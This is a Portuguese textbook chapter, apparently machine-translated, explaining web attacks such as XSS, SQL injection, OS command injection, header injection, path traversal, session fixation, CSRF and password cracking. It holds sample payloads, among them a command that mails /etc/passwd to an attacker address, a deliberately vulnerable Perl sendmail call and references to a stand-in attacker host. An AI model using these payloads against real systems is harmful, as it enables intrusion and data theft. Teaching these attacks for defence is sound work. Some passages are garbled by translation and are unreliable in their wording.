Capítulo 11 Técnicas de Ataque na Web
11.1 Técnicas de Ataque na Web
O protocolo HTTP simples em si não apresenta problemas de segurança, portanto o protocolo em si dificilmente será alvo de ataques. O servidor e o cliente que utilizam o protocolo HTTP, bem como recursos como aplicativos Web executados no servidor são os alvos do ataque. Atualmente, a maioria dos ataques da Internet são direcionados a sites e a maioria deles tem como alvo aplicativos da Web. Este capítulo explica principalmente as técnicas de ataque de aplicativos da Web.
11.1.1 O HTTP não possui os recursos de segurança necessários
Os aplicativos de sites atuais usam o protocolo HTTP de uma maneira radicalmente diferente daquela para a qual foram originalmente projetados. Quase todos os sites atuais usarão gerenciamento de sessão (sessão), processamento de criptografia e outras funções de segurança, mas essas funções não estão disponíveis no protocolo HTTP.
No geral, o HTTP é um mecanismo geral de protocolo puro. Portanto, tem mais vantagens, mas fica em desvantagem em termos de segurança.
Tomemos como exemplo o protocolo SSH usado para login remoto. O SSH possui funções como autenticação em nível de protocolo e gerenciamento de sessão, enquanto o protocolo HTTP não. Além disso, em termos de configuração do serviço SSH, qualquer pessoa pode facilmente criar um serviço com alto nível de segurança, e mesmo que o servidor HTTP tenha sido configurado, se quiser fornecer aplicações web baseadas no servidor, é necessário redesenvolvê-lo em vários casos.
Portanto, os desenvolvedores precisam projetar e desenvolver funções de autenticação e gerenciamento de sessões para atender aos requisitos de segurança das aplicações Web. E o autodesign significa que haverá várias realizações. Como resultado, o nível de segurança não está completo, mas por trás da aplicação web que ainda está funcionando, existem vários bugs que são fáceis de serem abusados por invasores.
11.1.2 As requisições podem ser adulteradas no cliente
Em uma aplicação web, todo o conteúdo da requisição HTTP recebida do navegador pode ser livremente alterado e adulterado no cliente. Portanto, o aplicativo da web pode receber conteúdo diferente dos dados esperados.
Ao carregar o código de ataque na mensagem de solicitação HTTP, um ataque à aplicação web pode ser lançado. O código de ataque é transmitido por meio de campos ou formulários de consulta de URL, cabeçalhos HTTP, cookies, etc. Se houver uma falha de segurança no aplicativo da web neste momento, as informações internas serão roubadas ou o invasor obterá direitos de gerenciamento.
11.1.3 Modos de ataque contra aplicações web
Existem dois modos de ataque contra aplicações web.
Ataque ativo Ataque
passivo Ataque
ativo direcionado ao servidor
Ataque ativo refere-se ao modo de ataque no qual o invasor acessa diretamente a aplicação web e introduz o código de ataque. Como esse modo ataca recursos diretamente no servidor, o invasor precisa conseguir acessar esses recursos.
Ataques representativos no modo de ataque ativo são ataques de injeção de SQL e ataques de injeção de comando de sistema operacional
Ataque passivo direcionado ao servidor. Ataque passivo refere-se ao modo de ataque que usa a estratégia trap para executar o código de ataque. Durante um ataque passivo, o invasor não ataca diretamente o acesso do aplicativo web alvo. O padrão de ataque usual de um ataque passivo é o seguinte.
Etapa 1: o invasor engana o usuário para que acione a armadilha definida, que inicia uma solicitação HTTP com código de ataque incorporado.
Etapa 2: depois que o usuário for capturado inadvertidamente, o navegador ou cliente de e-mail do usuário acionará a armadilha.
Etapa 3: após ser enganado, o navegador do usuário enviará a solicitação HTTP contendo o código de ataque para o aplicativo da web como alvo do ataque e executará o código de ataque.
Passo 4: Após a execução do código de ataque, o aplicativo web com vulnerabilidades de segurança se tornará um trampolim para o invasor, o que pode levar ao roubo de informações pessoais, como cookies mantidos pelo usuário, abuso malicioso dos direitos do usuário no estado de login e outras consequências. Os ataques típicos no modo de ataque passivo são scripts entre sites e falsificação de solicitações entre sites.
Os ataques típicos no modo de ataque passivo são scripts entre sites e falsificação de solicitações entre sites.
Usando a identidade do usuário para atacar a rede interna da empresa Usando ataques passivos, ataques podem ser lançados em redes como a intranet que não podem ser acessadas diretamente pela Internet. Contanto que o usuário caia na armadilha preparada antecipadamente pelo invasor, dentro do alcance da rede que o usuário pode acessar, até mesmo a intranet da empresa também será atacada. Muitas intranets corporativas ainda podem estar conectadas à Internet, visitar sites ou receber e-mails da Internet. Isso pode dar aos invasores a oportunidade de induzir os usuários a acionar a armadilha e lançar ataques na intranet corporativa.
11.2 Vulnerabilidades de segurança causadas pelo escape incompleto dos valores de saída
A implementação de contramedidas de segurança para aplicativos da Web pode ser dividida aproximadamente nas duas partes a seguir.
Validação do lado do cliente Validação do
lado do aplicativo Web (lado do servidor) Validação
do valor de entrada
Escape do valor de saída
Na maioria dos casos, o JavaScript é usado para validar dados no lado do cliente. No entanto, a adulteração de dados ou a desativação do JavaScript são permitidas no lado do cliente, portanto, não é adequado usar a verificação do JavaScript como medida de segurança. Manter a validação do lado do cliente serve apenas para identificar erros de entrada o mais cedo possível e melhorar a experiência da IU. A validação do valor de entrada no lado do aplicativo web pode ser confundida com código ofensivo se for processada no aplicativo web. A validação do valor de entrada geralmente se refere à verificação se é um valor que está em conformidade com a lógica de negócios do sistema ou à verificação da codificação de caracteres e outras medidas preventivas. Ao gerar dados processados por um aplicativo da Web a partir de um banco de dados ou sistema de arquivos, HTML, e-mail, etc., o escape de valores para a saída é uma estratégia de segurança crítica. Quando o valor de saída escapa incompletamente, causará danos ao objeto de saída, acionando o código de ataque transmitido pelo invasor.
Ataque de script entre sites (Cross-Site Scripting, XSS) refere-se a um ataque que executa tags HTML ou JavaScript ilegais no navegador de um usuário registrado de um site com uma falha de segurança. Porções de HTML criadas dinamicamente podem ocultar falhas de segurança. Dessa forma, o invasor escreve um script para armar uma armadilha e, quando o usuário estiver executando em seu navegador, será atacado passivamente se não tomar cuidado. Os ataques de script entre sites podem causar os seguintes efeitos. Use formulários de entrada falsos para fraudar usuários com informações pessoais. O script é usado para roubar o valor do cookie do usuário, e a vítima ajuda o invasor a enviar solicitações maliciosas sem saber. Exibir artigos ou imagens falsas. O caso de ataque de script entre sites ocorre no HTML gerado dinamicamente. A seguir, a edição da página de informações pessoais como exemplo para explicar o ataque de script entre sites. A interface abaixo mostra o conteúdo das informações pessoais inseridas pelo usuário.
A tela de confirmação exibe a sequência de caracteres inserida na tela de edição como está. Insira uma sequência de caracteres com tags HTML como Ichiro Yamaguchi aqui.
Figura: O mecanismo de exibição do conteúdo de entrada como está
Na interface de confirmação neste momento, o navegador analisará a entrada do usuário em tags HTML e, em seguida, exibirá um tachado. Não seria tão ruim aparecer um tachado, mas e se a tag script fosse usada em seu lugar. XSS é um ataque passivo desencadeado por invasores usando armadilhas predefinidas. Os ataques de script entre sites são ataques passivos, portanto, os invasores organizarão armadilhas para ataques com antecedência. O site da figura abaixo especifica o ID através do campo de consulta do URI na barra de endereço, o que equivale à função de preenchimento automático da string do formulário. E aí mesmo, existe uma vulnerabilidade oculta que pode realizar ataques de script entre sites.
Um invasor que esteja totalmente familiarizado com as características da vulnerabilidade aqui cria o seguinte URL incorporado com código malicioso. Ele também fica oculto e implantado em e-mails ou páginas da Web fraudulentos pré-preparados, atraindo os usuários a clicar no URL. Depois que o navegador abre o URI, parece intuitivamente que nada mudou, mas o script definido começa a ser executado secretamente. Quando o usuário inserir o ID e a senha no formulário, ele será enviado diretamente para o site do invasor (ou seja, hackr.jp), resultando no roubo das informações pessoais de login. Depois disso, o ID e a senha serão repassados para o site oficial e, em seguida, ainda seguindo as etapas normais de login, é difícil para os usuários perceberem que suas informações de login foram vazadas.
Além de definir uma armadilha no formulário, o seguinte script construído de forma maliciosa também pode roubar as informações do cookie do usuário na forma de ataque de script entre sites.
Execute o programa JavaScript acima em um aplicativo da web que possui vulnerabilidades de segurança que permitem ataques de script entre sites e você poderá acessar as informações do cookie sob o nome de domínio onde o aplicativo da web está localizado. Essas informações são então enviadas para o site do invasor (http://hackr.jp/), onde são registradas em seu log de login. Como resultado, o invasor rouba as informações dos cookies do usuário dessa forma.
Ataque de injeção de SQL que pode executar SQL ilegal A injeção de SQL (SQLInjection) refere-se a um ataque gerado pela execução de SQL ilegal no banco de dados usado pelo aplicativo Web. Este risco de segurança pode causar grandes ameaças e, por vezes, levar diretamente ao vazamento de informações pessoais e confidenciais. Os aplicativos da Web geralmente usam bancos de dados. Quando operações como recuperação, adição e exclusão de dados em tabelas de banco de dados são necessárias, instruções SQL são usadas para conectar-se ao banco de dados para operações específicas. Se houver omissões na forma de chamar instruções SQL, é possível executar instruções SQL ilegais injetadas maliciosamente (injeção). Os ataques de injeção de SQL podem causar os seguintes efeitos. Visualização ilegal ou adulteração de dados no banco de dados Evite autenticação e execute programas associados ao negócio do servidor de banco de dados O que é SQLSQL é uma linguagem de banco de dados usada para operar um sistema de gerenciamento de banco de dados relacional (Relational DataBaseManagement System, RDBMS), que pode manipular dados ou definir dados, etc. Bancos de dados bem conhecidos em RDBMS incluem Oracle Database, Microsoft SQLServer, IBM DB2, MySQL e PostgreSQL. Esses sistemas de banco de dados podem usar SQL como linguagem de banco de dados. Os aplicativos da Web que usam bancos de dados passam instruções SQL para o RDBMS por meio de um determinado método e, em seguida, usam de maneira flexível os resultados retornados pelo RDBMS em aplicativos da Web.
Exemplo de instrução SQL
SELECT title,text FROM newsTbl WHERE id=123
Caso de ataque de injeção SQL
Especifique o campo de consulta para pesquisar
a palavra-chave = Ueno Xuan' –
SELECT * FROM bookTbl WHERE author ='Ueno Xuan' --' e flag=1;
O problema causado: na instrução SQL – tudo depois disso é considerado um comentário. Ou seja, a condição e o sinalizador=1 são automaticamente ignorados.
palavra-chave = '123 or 1=1'
SELECT title,text FROM newsTbl WHERE name= 123 or 1=1
O problema causado por: todos os dados foram descobertos
11.2.3 Ataque de injeção de comando do sistema operacional O
ataque de injeção de comando do sistema operacional (OS Command Injection) refere-se à execução de comandos ilegais do sistema operacional por meio de aplicativos da web para atingir o objetivo do ataque. Contanto que a função Shell possa ser chamada, existe o risco de ser atacado.
Os comandos do sistema operacional podem ser invocados por meio do shell no aplicativo da web. Se houver uma omissão ao invocar o Shell, comandos ilegais do SO inseridos poderão ser executados.
Um ataque de injeção de comando do sistema operacional pode enviar comandos para o shell, fazendo com que a linha de comando do sistema operacional Windows ou Linux inicie programas. Ou seja, a segurança no sistema operacional pode ser executada por meio de ataques de injeção de sistema operacional
.
Caso de ataque de injeção de sistema operacional
O seguinte usa a função de envio do formulário de consulta como exemplo para explicar o ataque de injeção de sistema operacional. Esta função pode enviar o e-mail de consulta do usuário para o endereço de e-mail da outra parte que foi preenchido.
A seguir está um trecho de uma parte do código principal que processa o conteúdo do formulário.
my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: [email protected]\n";
abrir no programa A função chamará o comando sendmail para enviar mensagens, e o endereço de envio de mensagens especificado é o valor de $adr.
; cat /etc/passwd | mail [email protected]
| /usr/sbin/sendmail; gato /etc/passwd | email [email protected]
O valor de entrada do invasor contém um ponto e vírgula (;). Este símbolo é interpretado como um token que separa vários comandos de execução em um comando do sistema operacional.
Pode-se observar que após a execução do comando sendmail ser separada, o comando como cat /etc/passwd | mail [email protected] será executado a seguir. Como resultado, o arquivo /etc/passwd contendo as informações da conta Linux foi enviado por e-mail para [email protected].
11.2.4 Ataque de injeção de cabeçalho HTTP A
injeção de cabeçalho HTTP (injeção de cabeçalho HTTP) refere-se a um ataque no qual um invasor adiciona qualquer cabeçalho ou corpo de resposta inserindo uma nova linha no campo do cabeçalho de resposta. Pertence ao modo passivo-agressivo. Os ataques que adicionam conteúdo ao corpo do cabeçalho são conhecidos como ataques de divisão de resposta HTTP.
Conforme mostrado abaixo, os aplicativos da Web às vezes atribuem valores recebidos de fora aos campos do cabeçalho de resposta Location e Set-Cookie.
Localização: http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345
＊12345 é o valor inserido
A injeção de cabeçalho HTTP pode atacar assim, inserindo novas linhas onde determinados campos de cabeçalho de resposta precisam processar valores de saída.
Os ataques de injeção de cabeçalho HTTP podem causar os seguintes efeitos.
Defina qualquer informação de cookie
Redirecione para qualquer URL
para exibir qualquer corpo (ataque de truncamento de resposta HTTP)
Caso de ataque de injeção de cabeçalho HTTP
Vamos usar a função de pular para a página correspondente a cada categoria após selecionar uma categoria como exemplo para explicar o ataque de injeção de cabeçalho HTTP. Esta função define um valor de ID de categoria para cada categoria. Depois que uma categoria for selecionada, o valor do ID será refletido no campo de cabeçalho Local na resposta, como Local: http://example.com/?cat=101. Faça com que o navegador redirecione e pule.
O invasor envia a solicitação com o seguinte conteúdo, substituindo o ID da categoria anterior.
101%0D%0ASet-Cookie:+SID=123456789
Entre eles, %0D%0A representa o caractere de nova linha na mensagem HTTP, seguido pelo ID da sessão que pode forçar o site do invasor (http://hackr.jp/) a definir para o campo de cabeçalho Set-Cookie com SID=123456789.
Depois de enviar esta solicitação, suponha que a seguinte resposta seja retornada como resultado.
Localização: http://example.com/?cat=101 (%0D%0A: quebra de linha)
Set-Cookie: SID=123456789
Neste momento, o campo de cabeçalho Set-Cookie está em vigor, para que o invasor possa especificar a modificação de qualquer informação do cookie. Em combinação com um ataque de fixação de sessão (o invasor pode usar um ID de sessão especificado), o invasor pode se passar por usuário.
O %0D%0A inserido pelo invasor deveria originalmente pertencer ao valor de consulta do campo de cabeçalho Location, mas após a análise, %0D%0A se torna um caractere de nova linha e um novo campo de cabeçalho é inserido como resultado.
Isso permite que um invasor insira campos de cabeçalho arbitrários na resposta.
Ataque de truncamento de resposta HTTP
O ataque de truncamento de resposta HTTP é um ataque usado na injeção de cabeçalho HTTP. A sequência de ataque é a mesma, mas dois %0D%0A%0D%0A são inseridos lado a lado na string e enviados. Essas duas novas linhas consecutivas podem ser usadas para criar a linha em branco necessária para separar o cabeçalho e o corpo HTTP, para que o corpo forjado possa ser exibido para atingir o objetivo do ataque. Esses ataques são chamados de ataques de truncamento de resposta HTTP.
%0D%0A%0D%0A
11.2.5 Ataque de injeção de cabeçalho de e-mail
11.2.6
Ataque de passagem de diretório O ataque de passagem de diretório refere-se a um ataque que atinge o objetivo de acessar um diretório de arquivos que não se destina a ser divulgado, truncando ilegalmente seu caminho de diretório. Este ataque às vezes também é chamado de ataque Path Traversal.
Ao processar arquivos por meio de aplicativos da web, se houver uma omissão no processamento de nomes de arquivos especificados externamente, os usuários poderão usar caminhos relativos como .../ para localizar caminhos absolutos como /etc/passed, portanto, qualquer arquivo ou arquivo no servidor Todos os diretórios podem ser acessados. Isso torna possível navegar, adulterar ou excluir arquivos ilegalmente no servidor web. Embora haja um problema com o escape de valores de saída, é melhor desativar o acesso especificado a nomes de arquivos arbitrários.
Exemplo de ataque de passagem de diretório
O seguinte usa a função de exibição e leitura de arquivos como exemplo para explicar o ataque de passagem de diretório. Esta função especifica um nome de arquivo por meio dos seguintes campos de consulta. Em seguida, leia o arquivo especificado no diretório de arquivo /www/log/.
http://example.com/read.php?log=0401.log
O invasor envia a solicitação após definir os seguintes campos de consulta.
http://example.com/read.php?log=…/…/etc/passwd
campo de consulta Para ler o arquivo /etc/passwd alvo do invasor, o caminho relativo estará localizado em /www/log / diretório. Se este script read.php aceitar solicitações de acesso ao diretório especificado, existe o risco de acesso a arquivos que não eram originalmente públicos.
11.2.7 Vulnerabilidade de inclusão remota de arquivos
Vulnerabilidade de inclusão remota de arquivos (Inclusão remota de arquivos) significa que quando parte do conteúdo do script precisa ser lido de outros arquivos, o invasor usa a URL do servidor externo especificado como um
arquivo Um ataque que executa scripts arbitrários. Esta é principalmente uma falha de segurança no PHP. Para PHP's include ou require, esta é uma função que pode ser configurada para especificar a URL do servidor externo como o nome do arquivo. No entanto, esta função é muito perigosa e é inválida por padrão após o PHP5.2.0. Embora haja um problema com o escape de valores de saída, a especificação de nomes de arquivos arbitrários deve ser controlada.
11.3 Falhas de segurança causadas por falhas de configuração ou design As falhas de segurança
causadas por falhas de configuração ou design referem-se a falhas de segurança causadas por configurações erradas do servidor Web ou por alguns problemas de design.
11.3.1 Navegação Forçada
A vulnerabilidade de segurança Navegação Forçada (Navegação Forçada) refere-se à navegação em arquivos que foram originalmente publicados involuntariamente a partir de arquivos colocados no diretório público do servidor Web.
A navegação forçada pode ter os seguintes efeitos.
Vazamento de informações importantes, como informações pessoais de clientes
Vazamento de informações que deveriam ser visualizadas apenas por usuários com direitos de acesso
Vazamento de arquivos que não estão vinculados ao mundo externo URLs
de arquivos que não foram originalmente planejados para serem tornados públicos são ocultados por questões de segurança razões. Mas depois de conhecer esses URLs, você poderá navegar pelos arquivos correspondentes aos URLs. Ao exibir diretamente nomes de arquivos ou índices de diretórios de arquivos fáceis de adivinhar, alguns métodos podem vazar URLs.
Lista de diretórios de arquivos
http://www.example.com/log/
Ao especificar o nome do diretório de arquivos, você pode ver o nome do arquivo exibido na lista de arquivos. O nome do arquivo e o nome do diretório que são fáceis de adivinhar
http://www.example.com/entry/entry_081202.log
O nome do arquivo é fácil de adivinhar (de acordo com a situação acima, pode-se deduzir que o próximo arquivo é entry_081203 .log)
Arquivo de backup
http://www.example.com/cgi-bin/entry.cgi (arquivo original)
http://www.example.com/cgi-bin/entry.cgi~ (arquivo de backup)
http://www.example.com/cgi-bin/entry.bak (arquivo de backup)
O arquivo de backup gerado automaticamente pelo software de edição não tem permissão de execução e pode ser exibido diretamente na forma de código-fonte.
O arquivo que pode só será exibido após a certificação ser
passada diretamente URL de acesso aos arquivos
(arquivos HTML, imagens, documentos como PDFs, CSS e outros dados, etc.) que
Casos de vulnerabilidades de segurança causadas por navegação forçada
Vamos usar a função de diário SNS do sistema de adesão como exemplo para explicar as possíveis brechas de segurança causadas pela navegação forçada. A função de diário garante que ninguém possa acessar o diário, exceto o próprio usuário que possui autoridade de acesso.
O código-fonte das fotos-imagem contidas neste diário é mostrado abaixo.
Mesmo que você não tenha acesso a este diário, desde que saiba o URL da imagem, você pode exibi-la especificando diretamente o URL. A função e o texto do diário possuem o controle do objeto de acesso, mas não possuem o controle do objeto de acesso à imagem, criando assim uma brecha de segurança.
11.3.2 Tratamento incorreto de mensagens de erro
A vulnerabilidade de segurança no tratamento incorreto de mensagens de erro (Vulnerabilidade de Tratamento de Erros) significa que a mensagem de erro de uma aplicação web contém informações úteis para um invasor. As principais mensagens de erro relacionadas ao aplicativo web são as seguintes.
Mensagens de erro lançadas por aplicativos da Web
Mensagens de erro lançadas por sistemas como bancos de dados
Os aplicativos da Web não precisam exibir mensagens de erro detalhadas na tela de navegação do usuário. Para os invasores, mensagens de erro detalhadas podem fornecer dicas para o próximo ataque.
Um caso em que o tratamento incorreto de mensagens de erro leva a vulnerabilidades de segurança
Mensagem de erro lançada por um aplicativo da web
A seguir, tomamos a mensagem de erro de autenticação da função de autenticação como exemplo para explicar o método incorreto de tratamento de mensagens de erro. Esta função de autenticação exibirá uma mensagem de erro quando o endereço de e-mail e a senha inseridos no formulário não corresponderem.
A tela superior exibe a mensagem de erro "Endereço de e-mail não registrado". Esta mensagem de erro é acionada quando o endereço de e-mail inserido não está registrado no site. Porque se o endereço de e-mail existir, uma mensagem de erro como “A senha digitada está incorreta” deverá ser exibida.
O invasor exibirá diferentes mensagens de erro fazendo diferentes entradas, que podem ser usadas para confirmar se o endereço de e-mail digitado já foi registrado neste site. Para não deixar que a mensagem de erro esclareça o invasor, é recomendável manter o conteúdo da mensagem de prompt apenas no nível de “erro de autenticação”.
Mensagens de erro lançadas por sistemas como bancos de dados
Vamos usar as mensagens de erro solicitadas pela função de pesquisa como exemplo para explicar como lidar com mensagens de erro incorretas. Esta função é usada para recuperar dados. Quando uma sequência de caracteres inesperada é inserida, um erro no banco de dados será solicitado.
O seguinte usa a mensagem de erro de autenticação da função de autenticação como exemplo para explicar como lidar com mensagens de erro incorretas. Esta função de autenticação exibirá uma mensagem de erro quando o endereço de e-mail e a senha inseridos no formulário não corresponderem.
Mensagens de erro relacionadas ao SQL são exibidas na tela superior. Para os desenvolvedores, essas informações podem ser úteis durante a depuração, mas não têm utilidade para os usuários. Nessa mensagem, o invasor pode ler que o banco de dados é MySQL e até ver um fragmento da instrução SQL. Isso pode inspirar os invasores para ataques de injeção de SQL.
Os erros gerados pelo sistema concentram-se principalmente nos seguintes aspectos.
Erros de script, como PHP ou ASP.
Erros de banco de dados ou de middleware.
Erros de servidor Web.
Cada sistema deve suprimir mensagens de erro detalhadas ou usar mensagens de erro personalizadas para evitar certas mensagens de erro de inspirar invasores.
11.3.3 Open Redirect
Open Redirect (Redirecionamento Aberto) é uma função de redirecionamento para qualquer URL especificada. A falha de segurança associada a esse recurso significa que se o URL de redirecionamento especificado for para um site mal-intencionado, o usuário será induzido a esse site.
Casos de ataque de redirecionamento aberto
Tomemos o redirecionamento da seguinte URL como exemplo para explicar o caso de ataques de redirecionamento aberto. Esta função serve para redirecionar o URL original após especificar parâmetros para o URL.
http://example.com/?redirect=http://www.tricorder.jp
O invasor reescreve os parâmetros especificados no redirecionamento para a conexão correspondente do site capturado, conforme mostrado abaixo.
http://example.com/?redirect=http://hackr.jp
Quando os usuários veem o URL, eles pensam que estão indo para example.com, mas na verdade são induzidos a hackr.jp, o alvo de redirecionamento designado.
Se a função de redirecionamento estiver habilitada em um site altamente confiável, é provável que ele seja selecionado pelos invasores e usado como trampolim para ataques de phishing.
11.4 Vulnerabilidades de segurança causadas por gerenciamento negligente de sessões
O gerenciamento de sessões é uma função essencial para gerenciar o status do usuário, mas se houver alguma negligência no gerenciamento de sessões, o status de autenticação do usuário será roubado.
11.4.1 Sequestro de sessão
Sequestro de sessão (sequestro de sessão) significa que o invasor obtém o ID de sessão do usuário por algum meio e usa ilegalmente o ID de sessão para fingir ser o usuário para atingir o objetivo do ataque. Para aplicativos da Web com função de autenticação, o mecanismo de gerenciamento de sessão usando ID de sessão é usado como forma principal de gerenciar o status de autenticação. O ID da sessão registra informações como o cookie do cliente, e o lado do servidor gerencia a correspondência um a um entre o ID da sessão e o status de autenticação.
Abaixo estão várias maneiras pelas quais um invasor pode obter um ID de sessão.
Inferir IDs de sessão através de métodos de geração informais Roubar IDs de sessão
através de espionagem ou ataques XSS Obter IDs de sessão
à força através de ataques de fixação de sessão (Fixação de Sessão)
Caso de ataque de sequestro de sessão
Vamos usar a função de autenticação como exemplo para explicar o sequestro de sessão. A função de autenticação aqui salvará o ID de sessão (SID) do usuário autenticado com sucesso no cookie do navegador do usuário por meio do mecanismo de gerenciamento de sessão.
Depois que o invasor sabe que o site tem uma falha de segurança que pode ser atacada entre sites (XSS), ele configura uma armadilha para chamar document.cookie com um script JavaScript para roubar informações do cookie. Um invasor pode obter um cookie contendo a sessão EU IA.
Depois que o invasor obtém o ID de sessão do usuário, ele define o ID de sessão no cookie de seu navegador e então pode fingir ser o usuário cujo ID de sessão foi roubado e visitar o site.
11.4.2 Ataques de fixação de sessão
Para sequestro de sessão que usa o roubo do ID da sessão alvo como método de ataque ativo, o ataque de fixação de sessão (Fixação de Sessão) forçará o usuário a usar o ID de sessão especificado pelo invasor, que é um ataque passivo .
Caso de ataque de fixação de sessão
O seguinte usa a função de autenticação como exemplo para explicar o ataque de fixação de sessão. A função de autenticação deste site emitirá um ID de sessão antes da autenticação e, se a autenticação for bem-sucedida, o status da autenticação será alterado no servidor.
O invasor prepara uma armadilha visitando primeiro o site para obter o ID da sessão (SID=f5d1278e8109). Neste momento o registro do ID da sessão no servidor ainda está (não autenticado). (Etapa ① ~ ②)
O invasor define uma armadilha para forçar o usuário a usar o ID da sessão e espera que o usuário se autentique com o ID da sessão. Assim que o usuário acionar a armadilha e concluir a autenticação, o estado do ID da sessão (SID=f5d1278e8109) no servidor (o usuário A está autenticado) será registrado. (etapa ③)
O invasor estima que o usuário quase acionou a armadilha e então usa o ID da sessão anterior para acessar o site. Como o ID da sessão está atualmente no estado (Usuário A está autenticado), o invasor faz login com sucesso no site como Usuário A. (etapa ④)
Adoção de Sessão
Adoção de Sessão refere-se à função que PHP ou ASP.NET pode receber e processar IDs de sessão desconhecidos.
O uso malicioso desse recurso pode ignorar o estágio de preparação de um ataque de fixação de sessão e obter o ID de sessão emitido no site. Ou seja, um invasor pode criar um ID de sessão de forma privada para formar uma armadilha, mas o middleware pensará erroneamente que o ID de sessão é um ID de sessão desconhecido e o aceitará.
11.4.3 Falsificação de solicitação entre sites
O ataque de falsificação de solicitação entre sites (Cross-Site Request Forgeries, CSRF) refere-se ao fato de o invasor forçar o usuário autenticado a fornecer informações pessoais inesperadas ou informações de configuração, etc. .
A falsificação de solicitação entre sites pode causar os seguintes efeitos.
Usar autoridade de usuário autenticado para atualizar informações de configuração, etc.
Usar autoridade de usuário autenticado para comprar produtos
Usar autoridade de usuário autenticado para postar comentários em painéis de mensagens
Exemplo de ataque de falsificação de solicitação entre sites
O seguinte usa a função de quadro de mensagens como exemplo para explicar a falsificação de solicitação entre sites. Esta função permite apenas que usuários autenticados e logados postem conteúdo no quadro de mensagens.
No sistema de quadro de mensagens, o usuário vítima A é autenticado. Um cookie em seu navegador contém o ID da sessão autenticada (etapa ①).
Os invasores armaram a armadilha para enviar solicitações para postar comentários não subjetivos no quadro de mensagens assim que o usuário o visitar. Após o navegador do usuário A executar a solicitação na armadilha, o comentário será deixado no quadro de mensagens (etapa ②).
Quando a armadilha é acionada, se o usuário A não tiver passado na autenticação, ele não poderá usar a autoridade de identidade do usuário A para postar conteúdo no quadro de mensagens.
11.5 Outras vulnerabilidades de segurança
11.5.1 Quebra de senha
O ataque de quebra de senha (quebra de senha) consiste em calcular a senha e quebrar a autenticação. Os ataques não se limitam a aplicações Web, mas também incluem outros sistemas (como FTP ou SSH, etc.) Esta seção explicará a quebra de senhas de aplicações Web com funções de autenticação.
Existem duas maneiras de quebrar a senha.
Tentativa e erro de senha através da rede A
quebra de senhas criptografadas (referindo-se à situação em que um invasor invade o sistema e obtém dados de senha criptografados ou com hash)
remove os meios de atacar avanços de autenticação, bem como ataques de injeção de SQL para evitar autenticação, cross- script de site Ataques para roubar informações de senha e outros métodos.
Tentativa e erro de senha na rede
Um ataque à função de autenticação fornecida por um aplicativo da Web, tentando senhas candidatas na rede. Existem basicamente duas maneiras.
Ataque de força bruta
Dicionário Ataque Ataque de
força
bruta Ataque de força bruta (também conhecido como ataque de força bruta) refere-se à enumeração exaustiva do espaço-chave (Keyspace) composto por todos os conjuntos de chaves. Ou seja, um ataque que usa todas as senhas candidatas viáveis para tentar errar o sistema criptográfico do alvo e romper a verificação.
Por exemplo, se o código de identificação pessoal adotado pelo banco for uma senha composta por “4 dígitos”, então é necessário tentar todos os dígitos de 0000 a 9999 um por um. Desta forma, deve haver uma senha correta no conjunto de senhas candidatas, que possa passar na autenticação. Como a força bruta tenta todas as senhas candidatas, é um ataque que garante a quebra da senha. Contudo, quando o espaço da chave é grande, a descriptografia pode levar anos, ou até milhares de anos, portanto, do ponto de vista prático, o ataque é um fracasso.
Ataque de dicionário O
ataque de dicionário refere-se a um método de ataque que usa senhas candidatas pré-coletadas (armazenadas no dicionário após várias combinações) para enumerar as senhas no dicionário e tentar passar na autenticação.
Vejamos o exemplo de um banco que usa um código de identificação pessoal de “4 dígitos” como senha. Considerando que é mais provável que os usuários usem sua própria data de nascimento como senha, a data de nascimento pode ser digitalizada, como salvar 0101~1231 como um dicionário, para experimentá-lo. Comparado com o método de força bruta, como há menos senhas candidatas para tentar, isso significa que o ataque leva menos tempo. No entanto, se a senha correta não estiver no dicionário, ela não poderá ser quebrada com êxito. Portanto, o sucesso ou fracasso do ataque depende do conteúdo do dicionário.
Ataques usando IDs e senhas vazadas em outros lugares
Os ataques de dicionário incluem ataques que usam listas de IDs e senhas vazadas de outros sites. Muitos usuários estão acostumados a usar aleatoriamente o mesmo conjunto de ID e senha em vários sites, portanto o ataque terá uma probabilidade muito alta de sucesso1.
Quebra de senhas criptografadas
Ao salvar senhas, os aplicativos da web geralmente não as salvam diretamente em texto simples, mas criptografam as senhas a serem salvas, fazendo hash com uma função hash ou adicionando sal. Mesmo que o invasor use alguns meios para roubar dados de senha, se quiser usar essas senhas, ele deve primeiro restaurar as senhas criptografadas para texto simples por meio de decodificação e outros meios
.
Geralmente existem várias maneiras de derivar texto simples de dados criptografados.
Analogia através de ataque de dicionário de força bruta
Tabela Rainbow
para obter as principais
vulnerabilidades no algoritmo de criptografia
Analogia através do método de força bruta · ataque de dicionário
Para o caso em que a senha é criptografada com uma função hash, use o mesmo método que o método de força bruta ou ataque de dicionário, tente chamar a mesma função hash para criptografar a senha candidata e, em seguida, use a função hash calculada O valor da coluna corresponde ao valor hash de destino e a classe deduz a senha.
Rainbow Table
Rainbow Table (Rainbow Table) é uma tabela de banco de dados composta de senhas em texto simples e os valores hash correspondentes. Dicas para reduzir o consumo de tempo. A senha de texto simples correspondente pode ser derivada pesquisando o valor hash na tabela arco-íris.
Para melhorar a taxa de sucesso de ataques, ter uma tabela arco-íris com dados massivos torna-se uma condição indispensável. Por exemplo, no site Free Rainbow Tables (http://www.freerainbowtables.com/en/tables2/), uma tabela composta por valores hash MD5 correspondentes a cadeias de caracteres de 1 a 8 dígitos em arranjo completo de letras maiúsculas e letras minúsculas e números Uma tabela arco-íris, que tem cerca de 1.050 gigabytes de tamanho.
Obtenção da chave
Ao usar o método de criptografia de chave compartilhada para criptografar os dados da senha, se a chave usada para criptografia puder ser obtida por algum meio, os dados da senha também poderão ser descriptografados.
Vulnerabilidades no algoritmo de criptografia
Considerando as possíveis lacunas no próprio algoritmo de criptografia, também é um método viável usar essa lacuna para tentar descriptografar. Mas não é fácil encontrar as lacunas desses algoritmos de criptografia amplamente utilizados, por isso é extremamente difícil e difícil de ter sucesso. No entanto, os algoritmos de criptografia implementados de forma independente pelos desenvolvedores de aplicações Web não devem ter sido totalmente verificados e ainda existem lacunas.
11.5.2 Clickjacking
Clickjacking (Clickjacking) refere-se ao uso de botões ou links transparentes para criar armadilhas e cobri-las em páginas da Web. Um ataque que induz o usuário a clicar naquele link para acessar o conteúdo sem o seu conhecimento. Esse comportamento também é conhecido como UIRedressing.
